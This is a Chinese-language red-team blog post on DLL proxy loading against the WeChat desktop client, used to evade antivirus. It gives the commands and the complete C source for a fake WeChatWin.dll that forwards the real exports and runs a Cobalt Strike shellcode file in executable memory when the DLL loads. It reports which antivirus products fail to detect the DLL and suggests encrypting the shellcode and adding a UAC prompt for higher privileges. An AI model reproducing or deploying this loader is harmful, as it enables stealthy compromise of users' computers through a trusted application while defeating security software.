DLL Proxy Loading Bypass AV

DLL Proxy Loading Bypass AV

前言

感谢国外大佬开源的免杀思路，本文就是基于该文章的一次实践。

https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/

原理

具体原理请直接查看上面的文章，我就不在继续照本宣科。

实验

本次实战对象是微信电脑客户端-——WeChat.exe

把该exe直接拷贝到一个单独的文件夹里，点击运行会提示缺少WeChatWin.dll，这个就是我们要进行代理的对象。

使用cs生成bin格式的payload，用vs2019编译作者开源的工具

工具地址：https://github.com/Flangvik/SharpDllProxy

编译成功后，使用SharpDllProxy.dll生成一个假冒的WeChatWin.dll,执行如下命令：

//payload.bin为cs生成的bin文件
SharpDllProxy.exe --dll WeChatWin.dll --payload payload.bin

执行成功后在

在当前路径会生成/output_WeChatWin文件夹，里面有WeChatWin_pragma.c，tmp2EF7.dll两个文件我们要用到，其中tmp2EF7.dll 即为原系统WeChatWin.dll，使用vs2019打开WeChatWin_pragma.c

#include "pch.h"
#include <stdio.h>
#include <stdlib.h>

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

#pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@$$QAV0@@Z=tmp2EF7.??0IChannelLogWriter@@QAE@$$QAV0@@Z,@1")
#pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@ABV0@@Z=tmp2EF7.??0IChannelLogWriter@@QAE@ABV0@@Z,@2")
#pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@XZ=tmp2EF7.??0IChannelLogWriter@@QAE@XZ,@3")
#pragma comment(linker, "/export:??4IChannelLogWriter@@QAEAAV0@$$QAV0@@Z=tmp2EF7.??4IChannelLogWriter@@QAEAAV0@$$QAV0@@Z,@4")
#pragma comment(linker, "/export:??4IChannelLogWriter@@QAEAAV0@ABV0@@Z=tmp2EF7.??4IChannelLogWriter@@QAEAAV0@ABV0@@Z,@5")
#pragma comment(linker, "/export:??4ILogWriter@@QAEAAV0@$$QAV0@@Z=tmp2EF7.??4ILogWriter@@QAEAAV0@$$QAV0@@Z,@6")
#pragma comment(linker, "/export:??4ILogWriter@@QAEAAV0@ABV0@@Z=tmp2EF7.??4ILogWriter@@QAEAAV0@ABV0@@Z,@7")
#pragma comment(linker, "/export:??_7IChannelLogWriter@@6B@=tmp2EF7.??_7IChannelLogWriter@@6B@,@8")
#pragma comment(linker, "/export:?AddExtraMem@TXBugReport@@YAHKI@Z=tmp2EF7.?AddExtraMem@TXBugReport@@YAHKI@Z,@9")
#pragma comment(linker, "/export:?AddExtraMem@TXBugReport@@YAHPAXI@Z=tmp2EF7.?AddExtraMem@TXBugReport@@YAHPAXI@Z,@10")
#pragma comment(linker, "/export:?AddIgnoreHookCheckModule@TXBugReport@@YAXPB_W@Z=tmp2EF7.?AddIgnoreHookCheckModule@TXBugReport@@YAXPB_W@Z,@11")
#pragma comment(linker, "/export:?AddReleaseMonitorPoint@TXBugReport@@YAXPAJ@Z=tmp2EF7.?AddReleaseMonitorPoint@TXBugReport@@YAXPAJ@Z,@12")
#pragma comment(linker, "/export:?DoBugReport@TXBugReport@@YAJPAU_EXCEPTION_POINTERS@@PB_W@Z=tmp2EF7.?DoBugReport@TXBugReport@@YAJPAU_EXCEPTION_POINTERS@@PB_W@Z,@13")
#pragma comment(linker, "/export:?GetBugReportFlag@TXBugReport@@YAKXZ=tmp2EF7.?GetBugReportFlag@TXBugReport@@YAKXZ,@14")
#pragma comment(linker, "/export:?GetBugReportInfo@TXBugReport@@YAPAUtagBugReportInfo@1@XZ=tmp2EF7.?GetBugReportInfo@TXBugReport@@YAPAUtagBugReportInfo@1@XZ,@15")
#pragma comment(linker, "/export:?GetCustomFiltFunc@TXBugReport@@YAP6AHPAU_EXCEPTION_POINTERS@@@ZXZ=tmp2EF7.?GetCustomFiltFunc@TXBugReport@@YAP6AHPAU_EXCEPTION_POINTERS@@@ZXZ,@16")
#pragma comment(linker, "/export:?InitBugReport@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@Z@Z=tmp2EF7.?InitBugReport@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@Z@Z,@17")
#pragma comment(linker, "/export:?InitBugReportEx@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@ZH@Z=tmp2EF7.?InitBugReportEx@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@ZH@Z,@18")
#pragma comment(linker, "/export:?RaiseSelfFatalException@TXBugReport@@YAXW4SelfException@1@@Z=tmp2EF7.?RaiseSelfFatalException@TXBugReport@@YAXW4SelfException@1@@Z,@19")
#pragma comment(linker, "/export:?RecordCallStackIfNeed@TXBugReport@@YAXPAJ@Z=tmp2EF7.?RecordCallStackIfNeed@TXBugReport@@YAXPAJ@Z,@20")
#pragma comment(linker, "/export:?SetBugReportFlag@TXBugReport@@YAHK@Z=tmp2EF7.?SetBugReportFlag@TXBugReport@@YAHK@Z,@21")
#pragma comment(linker, "/export:?SetBugReportPath@TXBugReport@@YAHPB_W@Z=tmp2EF7.?SetBugReportPath@TXBugReport@@YAHPB_W@Z,@22")
#pragma comment(linker, "/export:?SetBugReportUin@TXBugReport@@YAXKH@Z=tmp2EF7.?SetBugReportUin@TXBugReport@@YAXKH@Z,@23")
#pragma comment(linker, "/export:?SetCustomFiltFunc@TXBugReport@@YAXP6AHPAU_EXCEPTION_POINTERS@@@Z@Z=tmp2EF7.?SetCustomFiltFunc@TXBugReport@@YAXP6AHPAU_EXCEPTION_POINTERS@@@Z@Z,@24")
#pragma comment(linker, "/export:?SetExtInfo@TXBugReport@@YAHKKPB_W@Z=tmp2EF7.?SetExtInfo@TXBugReport@@YAHKKPB_W@Z,@25")
#pragma comment(linker, "/export:?SetExtRptFilePath@TXBugReport@@YAHPB_W0@Z=tmp2EF7.?SetExtRptFilePath@TXBugReport@@YAHPB_W0@Z,@26")
#pragma comment(linker, "/export:?SetLogFileMd5Dir@TXBugReport@@YAHPB_W00@Z=tmp2EF7.?SetLogFileMd5Dir@TXBugReport@@YAHPB_W00@Z,@27")
#pragma comment(linker, "/export:?UninitBugReport@TXBugReport@@YAXXZ=tmp2EF7.?UninitBugReport@TXBugReport@@YAXXZ,@28")
#pragma comment(linker, "/export:?ValidateBugReport@TXBugReport@@YAXXZ=tmp2EF7.?ValidateBugReport@TXBugReport@@YAXXZ,@29")
#pragma comment(linker, "/export:?pfPostBugReport@TXBugReport@@3P6AXXZA=tmp2EF7.?pfPostBugReport@TXBugReport@@3P6AXXZA,@30")
#pragma comment(linker, "/export:?pfPreBugReport@TXBugReport@@3P6AXXZA=tmp2EF7.?pfPreBugReport@TXBugReport@@3P6AXXZA,@31")
#pragma comment(linker, "/export:SignWith3Des=tmp2EF7.SignWith3Des,@32")
#pragma comment(linker, "/export:StartWachat=tmp2EF7.StartWachat,@33")
#pragma comment(linker, "/export:_TlsGetData@12=tmp2EF7._TlsGetData@12,@34")
#pragma comment(linker, "/export:_TlsStoreData@12=tmp2EF7._TlsStoreData@12,@35")
#pragma comment(linker, "/export:__ASSERT=tmp2EF7.__ASSERT,@36")


DWORD WINAPI DoMagic(LPVOID lpParameter)
{
    //https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer
    FILE* fp;
    size_t size;
    unsigned char* buffer;

    fp = fopen("payload.bin", "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    buffer = (unsigned char*)malloc(size);

    //https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
    fread(buffer, size, 1, fp);

    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, buffer, size);

    ((void(*) ())exec)();

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // https://gist.github.com/securitytube/c956348435cc90b8e1f7
                // Create a thread and close the handle as we do not want to use it to wait for it 
        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
        CloseHandle(threadHandle);

    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

43行前是调用原dll，46之后是调用我们之前生成的cs bin文件，并使用VirtualAlloc()函数申请内存地址然后使用CreateThread()函数执行shellcode，我们生成一个动态dll项目，然后复制代码到源文件中，编译。

然后把红色箭头的放在一个文件夹中，运行微信客户端即可上线cs，免杀效果如下

静态360，火绒，安全管家都不查杀，动态执行只有360查杀，另外两个无反应。

这里还可以把shellcode直接写入上面的C文件中，然后对其进行加密解密处理，或者换一种执行方式，还可以给他加个uac认证，如果对方点是可以直接获得高权限，当然这些就不一一试验了。